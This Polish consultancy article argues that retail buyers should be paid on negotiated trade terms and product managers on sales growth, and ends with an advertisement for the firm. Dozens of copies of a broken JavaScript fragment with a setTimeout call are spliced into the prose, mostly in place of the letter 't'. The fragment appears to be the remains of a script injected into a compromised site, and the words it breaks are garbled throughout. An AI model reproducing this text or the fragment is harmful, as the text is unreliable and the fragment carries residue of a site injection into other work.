In Artykuły, Handel, Uniwersalne

Dobrze. Na poziomie rynkowym, skorygowanym o ich dostępność (podaż), a także atrakcyjność samej firmy w CV pracownika ( dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to po stronie popytu. Ale przede wszystkim w zgodzie ze strategicznymi celami firmy w zakresie ich odpowiedzialności.

Szczególnie ważne są dwa ostatnie cele. Zmiana zachowań pracowników na pożądane zawsze jest częściowym celem wynagrodzenia każdego pracownika (jako składnik systemu zarządzania), ale w przypadku kupców jest tu szczególnie dużo do osiągnięcia (i do zmiany). Kupcy bowiem zarządzają ważnym składnikiem Modelu Biznesowego, ważnym tak dla sterowania magiczną formułą sprzedaży (po stronie sterowania sprzedażą), jak i magiczną formułą przedsiębiorstwa (po stronie ren dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towności).

Uwaga. „rządzą cele osobiste”. A wcale nie firmowe. Firma jako taka nie istnieje. Praktycznie istnieją tylko jej pracownicy, którzy mniej czy bardziej, ale realizują swoje cele osobiste. I cele firmowe o tyle, o ile te nie s dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toją przynajmniej w sprzeczności z osobistymi. W przypadku konfliktu zwyciężą bowiem zwykle te osobiste.

Zmiana zachowań jest więc jak najbardziej pożądana, ma też duży wpływ na wynik. Tyle, że najpierw firma musi zdefiniować, jakie zachowania są dla niej pożądane. I ustalanie systemu wynagrodzeń zawsze powinno się zacząć właśnie od tego.

Co firma chce uzyskać?

Sposób wynagradzania kupców zależy od tego, co firma chce osiągnąć. A dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to zależy od jej Modelu Biznesowego. Firma, która stawia na „wyrwanie” war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tości od dostawców, powinna postawić na kupców. A wynagradzać ich w zależności od tego, jak dobre warunki handlowe (czyli podział war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tości wypracowanej przez dostawców) uda im się osiągnąć. Z kolei ta firma, która uważa, że potrafi skutecznie zarządzać swoją magiczną formułą sprzedaży (i dzięki temu osiągnąć wyższą sprzedaż), powinna postawić na menedżerów produktu. A wynagradzać ich przede wszystkim w zależności od tego właśnie przyrostu sprzedaży.

Uwaga. „gdy jest sprzedaż, będzie i na koszty”. Czy firma, która stawia na wzrost sprzedaży, nie powinna przejmować się kosztami (i warunkami handlowymi)? Powinna, ale bez przesady. Tu bowiem (i dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to zasada skutecznego zarządzania magiczną formułą) przyrost sprzedaży z nawiązką pokryje związane z tym koszty.

Podział war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tości czy jej wytworzenie?

War dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tość w sprzedaży zawsze powstaje w magicznej formule sprzedaży. Ale może powstawać niejako pasywnie (czyli formuła dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to tylko opisuje i rejestruje). I tak dzieje się w firmach, gdzie chodzi tylko o podział war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tości z dostawcami.

Model podziału war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tości wytworzonej przez dostawców i ich marki.

W tym modelu dostawca nie tylko dzieli się war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tością. On ją także częściowo tworzy na własny użytek, korzystając z magicznej formuły zarządzanego przez siebie (ale na jego koszt) Konceptu Sprzedażowego odbiorcy. Ten Koncept daje mu bowiem dostęp do klienta końcowego, a dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to miejsce i sposób, aby zwiększyć war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tość (i znajomość) własnej marki, pozwala zwiększyć udział w rynku (nie przez wzrost rynku, ale przez zabranie innym dostawcom). Pozwala też np. wylansować tanio własne nowe produkty, co zapewnia też mu stabilną i bezpieczną przyszłość. Ostatecznie pozwala też maksymalizować sprzedaż, może nie do klienta końcowego, ale przynajmniej do pośrednich ogniw dystrybucji.

Tworzenie war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tości w procesie zarządzania magiczną formułą sprzedaży. Tu mechanizm działa inaczej. Nie tyle chodzi o dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, aby zabrać innym dostawcom i markom (trochę też dystrybu dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}torom), ale żeby więcej wytworzyć, nieco „kosztem” klienta końcowego.

Wytwarzanie dodatkowej war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tości odbywa się przez sterowanie sprzedażą (w zaawansowanej i uświadomiony jego wersji przez zarzadzanie magiczną formułą sprzedaży).

Zarządzanie magiczną formułą sprzedaży

Inaczej dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to operacyjne (czyli nie tylko rejestrujące, ale i zarządzalne) przedstawienie sprzedaży jako iloczynu 3-ch parametrów. Czyli liczby kontaktów z firmą, konwersji i średniej war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tości transakcji.

Dodatkową war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tość sprzedaży można tworzyć na każdym z etapów magicznej formuły. I też na każdym war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to ją tworzyć, choć część wzajemnie się wyklucza czy tylko działa przeciwstawnie. Np. zwiększanie konwersji zwykle zmniejsza średnią war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tość transakcji, choć łącznie zwiększa też sprzedaż. Najtrudniejszy i najdroższy jest etap liczby kontaktów ( dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to dzieje się poza firmą, więc duża część wysiłków trafia w próżnię). Ale też ten etap ma w sobie największy potencjał.

Praca z konwersją jest już dużo tańsza (ma miejsce z tymi, którzy już zdecydowali się odwiedzić, wspiera ją też Koncept Sprzedażowy). Ale dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to proces żmudny, długotrwały i lubi się częs dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to cofać (gdyż dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to próba zmuszenia organizacji, aby zaczęła pracować nie na 20% wysiłku, które dają 80% efektu, ale na 80% wysiłku z tylko 20% przyrostu). Najłatwiejsza, ale i z najmniejszym potencjałem jest praca ze średnią war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tością transakcji. Tu bywa dość łatwo, dość szybko, ale też dość mało. Jednak szkoda by się było nie schylić.

Jak można zarządzać formułą? Można dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to robić na wiele sposobów.

Spośród wszystkich sposobów zarządzania, domeną kupców są tylko niektóre. Nie decydują np. o lokalizacjach, rzadko o układzie placówki. Mają mały (choć mają) wpływ na Format. Ale na inne składniki, takie jak zarządzanie ofertą czy przestrzenią mają wpływ decydujący. To zaś składniki najbardziej zmienne, o formacie czy lokalizacji decyduje się raz (choć dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to decyzja fundamentalna). Tym większe więc znaczenie systemu wynagradzania kupców, gdyż tu można uzyskać jak najbardziej wyraźną i znaczącą zmianę.

To jak wynagradzać kupców?

Zgodnie z celami firmy.

Kupców należy jak najbardziej związać z wynikami negocjacji. Czyli jak największa część wynagrodzenia powinna być zmienna, zależna od marży, terminu płatności i zapasu. Rozliczenie powinno być możliwie krótkookresowe, praktycznie na dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to patrząc, kwartalne.

Szefów produktu lepiej wynagradzać w funkcji wzrostu sprzedaży, najlepiej przez jej składowe, takie jak konwersja czy średnia war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tość transakcji. Trzeba mieć jednak świadomość, że o ile warunki handlowe działają prawie od razu, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to zarządzanie magiczną formułą sprzedaży trwa. I dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to raczej lata niż miesiące. Trzeba się więc uzbroić w cierpliwość i systematyczny pomiar parametrów, a raczej ich trendów (ze względu na ich dużą krótkookresową zmienność).

Uwaga. „a odwiedzalność?” Czy w modelu wynagradzania od konwersji i średniej transakcji nie gubi się odwiedzalność? Z jednej strony przez nakłady marketingowe, które w dużej mierze o tym decydują, a z drugiej przez pozycjonowanie Konceptu ofertą?

Jeśli się ich nie uwzględni, kupcy będą wydawać na marketing jak najwięcej ( dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to działa w interesie ich dostawców, a więc będą oni skłonni w zamian podzielić się innymi, już mierzonymi elementami warunków handlowych). Zaś w modelu „szefa produktu” zaowocuje dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to stałym narzekaniem na zbyt niski poziom wydatków. I uzasadnianie tego, że jeśli wyda się więcej, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to więcej się też sprzeda. To rozumowanie jest co do zasady słuszne, tyle że nie zawsze więcej sprzedaży będzie oznaczało więcej opłacalności dla firmy.

Jak wobec tego uwzględnić odwiedzalność? Albo limi dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tować wydatki marketingowe budżetem (w modelu kupieckim), albo być twardym i nie poddawać się w modelu „szefa produktu”. W obu zaś war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to znać mechanizm i przyczyny zachowań.

Podsumowanie

Firma ma wiele funkcji. Wszystkie one nie są au dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tomatyczne, tylko są mniej czy bardziej zarządzanie przez pracowników. Ci pracownicy powinni być zarządzani (czyli nakłaniani do zachowań zgodnych z interesem firmy). Ważną rolę w tym zarządzaniu pełni wynagrodzenie, zarówno pasywnie (ma nie zniechęcać), jak i aktywnie (ma zachęcać).

Kupcy nie są tu wyjątkiem, podlegają tym samym regułom. A nawet bardziej niż inni pracownicy, gdyż od ich pracy zależy większy kawałek Modelu Biznesowego niż od innych pracowników (może poza Zarządem). Jednak tu wymagana jest większa zbieżność systemu wynagradzania z celami firmy (i jej Modelem Biznesowym).

Ci, którzy dodatkową war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tość dla Modelu upatrują w podziale nadwyżki z dostawcami powinni wdrożyć model „kupca”. A ci, którzy wierzą, że zarządzanie magiczną formułą przyniesie im dodatkową war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tość, powinni stawiać na model „szefa produktu”. I w pierwszym wynagradzać w funkcji uzyskanych warunków handlowych, w drugim w relacji do wzrostu sprzedaży. Tylko trzeba też uwzględnić horyzont czasowy, krótki w modelu kupieckim i długi w modelu sprzedażowym.

Podnieś efektywność biznesu już dziś!

Aby wdrożyć FRAME w Twojej firmie, wystarczy się z nami skontaktować.